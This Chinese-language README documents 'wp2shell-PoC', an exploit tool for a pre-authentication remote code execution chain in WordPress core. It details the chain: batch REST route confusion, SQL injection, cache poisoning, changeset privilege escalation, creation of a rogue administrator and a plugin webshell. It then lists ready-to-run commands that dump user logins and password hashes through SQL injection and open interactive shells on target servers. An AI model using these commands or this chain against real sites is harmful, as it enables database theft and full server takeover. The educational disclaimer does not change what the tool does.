wp2shell-PoC
⚠ 本工具仅用于教育目的或漏洞赏金计划。严禁在受控环境之外进行未授权使用。
概述
这是影响WordPress核心的wp2shell漏洞链的概念验证(PoC),结合了CVE-2026-63030与CVE-2026-60137。该项目演示了REST API批处理路由混淆漏洞与WP_Query SQL注入之间的相互作用,最终形成一条无需认证即可完全攻陷WordPress并实现远程代码执行(RCE)的攻击路径。
完整公告请阅读此处
工作原理
wp2shell是WordPress核心中的一条预认证RCE漏洞链,结合了CVE-2026-63030(批处理REST端点中的路由混淆)与CVE-2026-60137(WP_Query中的SQL注入)。
路由混淆: /wp-json/batch/v1通过以位置为索引的并行$matches和$validation数组处理多个子请求。一个路径格式错误的子请求(例如http://:)由于continue语句被追加到$validation但未追加到$matches,导致两个数组失去同步。后续请求会按本应属于下一个请求的处理器进行分发,从而绕过schema验证与权限检查。
SQL注入: 两次嵌套的批处理调用利用了这一点。外层批处理绕过方法白名单(通常阻止GET)。内层批处理向GET /wp/v2/posts传递一个标量author_exclude字符串——由于数组失步,它绕过了验证,WP_Query将未净化的字符串直接插入SQL,形成基于UNION的盲注。
缓存投毒: SQLi返回伪造的WP_Post对象,WordPress将其缓存于内存中。这些假文章包含[embed]短代码,使WordPress根据伪造引用创建真实的oembed_cache数据库行。
Changeset提权: 攻击者利用SQLi在内存中伪造一篇JSON中含"user_id": 1的customize_changeset文章。一个环检测gadget会触发wp_update_post()且不覆盖post_content,从而保留攻击者的payload。应用该changeset时会临时以管理员的身份执行。
Hook重入: 一篇状态为parse、类型为request的伪造文章会触发parse_request钩子,以所获得的管理员角色重放整个批处理请求。这一次,POST /wp/v2/users子请求成功执行,创建了一个新的管理员账户。
代码执行: 攻击者以所创建的管理员身份登录,并上传恶意插件以执行任意命令。
受影响版本
| 版本 | 状态 |
|---|---|
| WordPress 6.9.0 – 6.9.4 | 受影响 |
| WordPress 7.0.0 – 7.0.1 | 受影响 |
| WordPress 6.9.5 | 已修复 |
| WordPress 7.0.2+ | 已修复 |
用法
使用此PoC的唯一要求是Python 3.8+。
在仓库目录下运行即可执行漏洞检查:
wp2shell.py http://victim.com
检查模式(默认)
执行单次漏洞检查。发送一个良性的批处理标记探测,可在不执行SQLi payload的情况下检测路由混淆漏洞。易受攻击的目标会返回HTTP 207,错误模式为parse_path_failed、block_cannot_read和rest_batch_not_allowed。
使用--confirm-sqli还可发送主动的SQLi确认payload。确认过程会先尝试UNION反射,若失败则退回到基于时延的探测。
检查单个目标(默认模式)
wp2shell.py http://target.com
以显式模式检查
wp2shell.py http://target.com --check
检查并确认SQLi
wp2shell.py http://target.com --check --confirm-sqli
读取模式 - 通过SQL注入提取数据
使用预认证SQL注入从数据库提取数据。默认使用--technique auto,按以下顺序尝试可用方法:
- union - 通过UNION伪造一条假
WP_Post行,并从REST响应中以||HEX(value)||形式读回其标题。每个值一个请求。速度最快。 - error - 使用
EXTRACTVALUE/UPDATEXML每次请求泄露约15字节。适用于目标会反射MySQL错误的情况(例如开启WP_DEBUG_DISPLAY)。 - blind - 布尔二分搜索,每个字符约8次请求。以
X-WP-Total头作为真/假信号。即使没有任何数据反射也能工作。
使用--technique union|error|blind强制指定技术。这些读取路径均为只读,不会向数据库写入。
服务器指纹(默认查询)
wp2shell.py http://target.com --read
导出登录名与密码哈希
wp2shell.py http://target.com --read --preset users
自定义SQL查询
wp2shell.py http://target.com --read --query "SELECT @@version"
强制使用blind技术
wp2shell.py http://target.com --read --technique blind --query "SELECT user_login FROM wp_users LIMIT 1"
使用基于报错的技术提取
wp2shell.py http://target.com --read --technique error --query "SELECT user_pass FROM wp_users LIMIT 1"
Shell模式
在目标服务器上执行命令。有两种工作模式:
有凭据时(以现有管理员身份登录并上传插件shell):
执行指定命令
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --cmd id
交互式shell
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --interactive
无凭据时(预认证RCE - 运行完整的SQLi→管理员桥接,以生成的管理员身份登录,然后上传插件shell):
执行单条命令
wp2shell.py http://target.com --shell --cmd id
交互式shell
wp2shell.py http://target.com --shell --interactive
插件webshell以随机路径和每次运行唯一的token上传。上传的webshell会被自动删除。当预认证桥接创建管理员账户后,该生成账户会在shell会话结束后被自动删除。
所有参数列表:
| 参数 | 描述 |
|---|---|
--check | 运行漏洞检查(未指定其他模式时的默认模式) |
--read | 通过SQL注入提取数据 |
--shell | 在服务器上执行命令 |
--query | 读取模式的自定义SQL查询 |
--preset | 预定义查询预设(users、config、versions) |
--technique | SQLi提取技术:union、error、blind或auto(默认) |
--confirm-sqli | 检查后发送SQLi确认payload |
--cmd | shell模式下要执行的命令(默认:id) |
--interactive, -i | 交互式shell模式 |
--user | 认证shell的管理员用户名 |
--password | 认证shell的管理员密码 |
--proxy | HTTP/HTTPS代理(例如http://127.0.0.1:8080) |
--timeout | 请求超时时间(秒)(默认:30) |
--verbose, -v | 详细输出 |
参考资料:
- https://slcyber.io/research-center/exploit-brokers-pay-500000-for-a-wordpress-rce-i-found-one-with-gpt5-6/
- https://www.picussecurity.com/resource/blog/cve-2026-63030-and-cve-2026-60137-wp2shell-wordpress-rce-explained
免责声明
本工具仅用于教育目的或漏洞赏金计划。严禁在受控环境之外进行未授权使用。